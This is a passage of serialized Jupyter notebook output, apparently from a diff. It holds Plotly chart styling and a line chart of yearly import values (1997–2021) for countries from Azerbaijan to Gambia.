- "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0.1, - 0.02, - 0.39, - 0.13, - 0.22, - 1.73, - 3.02, - 7.71, - 5.86, - 67.56, - 173.88, - 194.62, - 284.83, - 203.48, - 675, - 521.39, - 1136.83, - 198.54, - 77.09, - 461.67, - 592.61, - 147.87, - 273.91, - 229.07, - 10.17 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "AZERBAIJAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.1, - 0.02, - 0.39, - 0.13, - 0.22, - 1.73, - 3.02, - 7.71, - 5.86, - 67.56, - 173.88, - 194.62, - 284.83, - 203.48, - 675, - 521.39, - 1136.83, - 198.54, - 77.09, - 461.67, - 592.61, - 147.87, - 273.91, - 229.07, - 10.17 - ] - }, - { - "mode": "lines", - "name": "BAHAMAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.06, - 0.03, - 0.02, - 0.08, - 0.67, - 0.36, - 0.07, - 45.4, - 0.21, - 12.13, - 0.25, - 40.37, - 0.48, - 4.5, - 3.54, - 102.28, - 494.21, - 0.67, - 77.23, - 258.82, - 40.26, - 39.21, - 14.7, - 35.84, - 2.73 - ] - }, - { - "mode": "lines", - "name": "BAHARAIN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 132.93, - 470.44, - 159.17, - 202.53, - 134.01, - 121.13, - 74.52, - 121.87, - 189.56, - 471.23, - 835.42, - 1442.82, - 502.86, - 641.25, - 905.98, - 664.66, - 563.24, - 446.25, - 356.9, - 290.69, - 431.12, - 539.63, - 421.5, - 547.49, - 575.25 - ] - }, - { - "mode": "lines", - "name": "BANGLADESH PR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 50.81, - 62.4, - 78.15, - 80.51, - 59.12, - 62.05, - 77.63, - 59.37, - 127.03, - 228, - 257.02, - 313.11, - 254.66, - 446.75, - 585.73, - 639.33, - 484.34, - 621.37, - 727.15, - 701.68, - 685.65, - 1044.8, - 1264.74, - 1091.66, - 1479.13 - ] - }, - { - "mode": "lines", - "name": "BARBADOS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.09, - 0.04, - 0.03, - 0.01, - 0.01, - 0.05, - 0.01, - 0.04, - 0.15, - 0.03, - 0.08, - 0.2, - 0.15, - 0.79, - 0.1, - 0.11, - 0.17, - 0.17, - 0.18, - 0.2, - 1.74, - 1.48, - 0.61, - 0.57 - ] - }, - { - "mode": "lines", - "name": "BELARUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0.32, - 1.54, - 2.09, - 4.95, - 7.1, - 6.74, - 12.32, - 37.86, - 93.61, - 124.87, - 279.65, - 432.14, - 204.3, - 178.17, - 214.55, - 157.77, - 182.16, - 164.9, - 170.57, - 207.81, - 227.19, - 147.44, - 287.65, - 258.47 - ] - }, - { - "mode": "lines", - "name": "BELGIUM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2668.08, - 2876.8, - 3681.27, - 2870.05, - 2763, - 3711.93, - 3975.89, - 4588.91, - 4725.14, - 4146.19, - 4349.93, - 5776.77, - 6019.2, - 8609.82, - 10401.43, - 10046.87, - 10752.04, - 10805.92, - 8256.06, - 6624.63, - 5993.41, - 10469.22, - 8879.46, - 6940.68, - 7363.58 - ] - }, - { - "mode": "lines", - "name": "BELIZE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.26, - 0.48, - 0, - 0.01, - 0.03, - 5.81, - 13.69, - 0.11, - 0.38, - 0.21, - 0.08, - 0.21, - 1.55, - 0.21, - 1.01, - 0.52, - 1.36, - 0.65, - 0.96, - 0.5, - 0.39 - ] - }, - { - "mode": "lines", - "name": "BENIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.51, - 12.83, - 42.74, - 52.08, - 43.05, - 38.19, - 53.19, - 79.79, - 77.47, - 80.18, - 71.59, - 112.62, - 123.83, - 153.43, - 261.21, - 245.73, - 167.61, - 222.12, - 275.66, - 207.4, - 223.02, - 375.81, - 358.94, - 325.97, - 332.79 - ] - }, - { - "mode": "lines", - "name": "BERMUDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.84, - 0.69, - 0, - 0.27, - 0, - 0, - 1.3, - 0.04, - 0.54, - 0.39, - 64.02, - 0.2, - 0, - 0, - 0.04, - 0, - 0.09, - 0, - 0.02, - 0, - 7.69, - 2.48, - 0.04, - 0 - ] - }, - { - "mode": "lines", - "name": "BHUTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.44, - 6.13, - 18.01, - 21.09, - 23.92, - 32.15, - 52.37, - 71, - 88.77, - 142.05, - 194.72, - 151.79, - 153.11, - 201.57, - 202.55, - 164, - 152.17, - 149.87, - 281.27, - 307.82, - 377.99, - 370.96, - 405.73, - 433, - 444.51 - ] - }, - { - "mode": "lines", - "name": "BOLIVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.04, - 0.04, - 14.36, - 2.72, - 1.03, - 1.73, - 0.21, - 0.94, - 2.96, - 3.55, - 7.4, - 3.36, - 6.69, - 4.06, - 7.41, - 2.42, - 3.56, - 240.25, - 173.54, - 667.25, - 852.21, - 845.88, - 1159.14, - 1517.07 - ] - }, - { - "mode": "lines", - "name": "BOSNIA-HRZGOVIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.01, - 0.35, - 0.06, - 3.31, - 2.04, - 0.12, - 0.39, - 0.42, - 12.23, - 1.31, - 0.5, - 19.09, - 18.45, - 19.82, - 1.66, - 4.26, - 4.4, - 3.32, - 8.75, - 2.45, - 3.33, - 1.92, - 2.19 - ] - }, - { - "mode": "lines", - "name": "BOTSWANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 2.11, - 0, - 0, - 0.01, - 0.05, - 0.42, - 0.14, - 0.06, - 0, - 21.08, - 7.08, - 26.77, - 51.39, - 57.61, - 382.98, - 1012.89, - 542.23, - 1307.39, - 1638.29, - 974.48, - 744, - 461.72, - 421.77 - ] - }, - { - "mode": "lines", - "name": "ECUADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.17, - 0.89, - 8.64, - 7.7, - 4.6, - 2.12, - 5.84, - 22.94, - 20.33, - 49.47, - 217.15, - 32.26, - 67.02, - 169.11, - 44.27, - 872.54, - 255.43, - 1065.74, - 563.77, - 355.99, - 193.97, - 219.25, - 361.6, - 333.25, - 877.89 - ] - }, - { - "mode": "lines", - "name": "CROATIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.09, - 0.99, - 0.22, - 1.01, - 0.99, - 0.64, - 7.45, - 2.06, - 29.49, - 57.25, - 18.45, - 15.42, - 26.89, - 28.06, - 24.09, - 18.05, - 9.72, - 28.65, - 36, - 25.36, - 32.05, - 38.92, - 57.18, - 42.81, - 50.42 - ] - }, - { - "mode": "lines", - "name": "ZIMBABWE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 17.23, - 14.9, - 14.03, - 8.34, - 18.49, - 14.04, - 16.42, - 27.15, - 25.55, - 32.25, - 22.22, - 13.77, - 21.1, - 11.62, - 2.89, - 34.54, - 12.5, - 32.7, - 24.45, - 60.46, - 62.2, - 7.79, - 13.59, - 5.71, - 1.69 - ] - }, - { - "mode": "lines", - "name": "FRANCE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 784.98, - 719.6, - 711.81, - 640.81, - 844.25, - 1094.18, - 1090.23, - 1894.1, - 4113.3, - 4212.42, - 6265.76, - 4632.48, - 4192.17, - 3704.57, - 4332.78, - 4652.36, - 3691.89, - 4416.08, - 3730.31, - 5707.77, - 6524.16, - 6665.67, - 6168.82, - 4343.22, - 3817.49 - ] - }, - { - "mode": "lines", - "name": "HAITI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.04, - 0.48, - 1.02, - 0.29, - 1.16, - 1.97, - 1.7, - 1.37, - 1.33, - 1.97, - 1.32, - 0.95, - 1.57, - 3.28, - 3.61, - 8.26, - 13.75, - 13.94, - 13.47, - 16.1 - ] - }, - { - "mode": "lines", - "name": "FR POLYNESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0.02, - 0.03, - 0.02, - 0.1, - 0.81, - 0.01, - 0.02, - 0.01, - 0.02, - 0.03, - 0.02, - 0.01, - 0.07, - 0.01, - 0.05, - 0.07, - 0.78 - ] - }, - { - "mode": "lines", - "name": "GUYANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.49, - 1.69, - 1.33, - 1.94, - 2.19, - 11.93, - 7.17, - 21.25, - 14.76, - 15.89, - 10.66, - 8.32, - 9.24, - 9, - 4.59, - 7.28, - 10.3, - 18.48, - 14.48, - 6.59, - 6.42, - 6.95, - 11.28, - 155.88 - ] - }, - { - "mode": "lines", - "name": "GUINEA BISSAU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 43.25, - 18.8, - 36.09, - 61.67, - 9.68, - 47.39, - 52.46, - 70.87, - 96.13, - 49.34, - 63.98, - 102.88, - 184.2, - 59.45, - 235.64, - 140.2, - 109.68, - 158.38, - 198.17, - 215.67, - 256.2, - 123.79, - 124.54, - 126.99, - 141.08 - ] - }, - { - "mode": "lines", - "name": "GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 5.32, - 4.76, - 4.49, - 15.83, - 14.87, - 4.25, - 27.59, - 22.25, - 342.64, - 685.75, - 288.77, - 320.24, - 103.22, - 262.23, - 527.83, - 194.4, - 729.69, - 370.05, - 279.2, - 514.63, - 414.26, - 416.3, - 1631.02, - 2684.86 - ] - }, - { - "mode": "lines", - "name": "GUATEMALA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.88, - 0.92, - 0.07, - 0.96, - 2.43, - 0.2, - 1.06, - 1.83, - 2.11, - 3.58, - 2.94, - 5.74, - 40.18, - 6.71, - 8.31, - 13.12, - 17.12, - 12.52, - 21.7, - 15.97, - 16.27, - 22.95, - 20.75, - 16.34 - ] - }, - { - "mode": "lines", - "name": "GUAM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.03, - 0, - 0.21, - 1.18, - 0.19, - 0.35, - 0.07, - 0, - 0.05, - 0.01, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.03, - 0.07 - ] - }, - { - "mode": "lines", - "name": "GUADELOUPE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.02, - 0, - 0.71, - 0.26, - 0.16, - 0.2, - 0.07, - 0.03, - 0.05, - 1.89, - 0.42, - 0.35, - 0.08, - 0.06, - 0, - 0.01, - 0.37, - 0.2, - 0.69, - 0.69 - ] - }, - { - "mode": "lines", - "name": "GHANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.96, - 5.48, - 11.29, - 27.1, - 19.92, - 18.63, - 32.93, - 51.28, - 78.93, - 103.24, - 140.6, - 172.63, - 147.01, - 159.75, - 341.01, - 277.61, - 370.56, - 1257.6, - 2981.27, - 1938.54, - 2710.05, - 3763.41, - 1773.55, - 1374.96, - 1151.23 - ] - }, - { - "mode": "lines", - "name": "GRENADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.09, - 0, - 0.05, - 0.26, - 0.12, - 0.04, - 0.16, - 0.06, - 0.02, - 0.07, - 0.07, - 0.01, - 0.03, - 0, - 0, - 0, - 0, - 0.06, - 0.27, - 0.48, - 0.48, - 0.46, - 0.62 - ] - }, - { - "mode": "lines", - "name": "GABON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.21, - 8.93, - 5.25, - 14.52, - 10.25, - 21.02, - 22.45, - 42.8, - 42.09, - 115.85, - 120.93, - 175.12, - 180.58, - 307.71, - 146.58, - 817.04, - 868.47, - 793.06, - 105.63, - 69.46, - 395.39, - 456.01, - 138.4, - 405.46, - 874.55 - ] - }, - { - "mode": "lines", - "name": "GAMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - 